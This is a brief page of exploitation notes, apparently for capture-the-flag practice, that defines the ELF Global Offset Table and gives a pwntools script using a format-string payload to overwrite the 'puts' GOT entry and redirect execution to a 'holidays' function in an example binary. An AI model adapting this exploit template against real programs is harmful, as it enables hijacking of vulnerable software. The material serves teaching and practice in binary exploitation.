Binary Exploitation with GOT
Last modified: 2023-02-12
GOT (Global Offset Table) is a section of a computer program’s memory used to enable computer program code compiled as an ELF file to run correctly.
GOT Overriding
from pwn import *
context.update(arch="amd64", os="linux")
filepath = "./example"
elf = context.binary = ELF(filepath)
p = process(filepath) # p = remote('example.com', '1337')
p.clean()
p.sendline()
p.clean()
payload = fmtstr_payload(10, {elf.got['puts'] : elf.sym['holidays']})
p.sendline(payload)
p.interactive()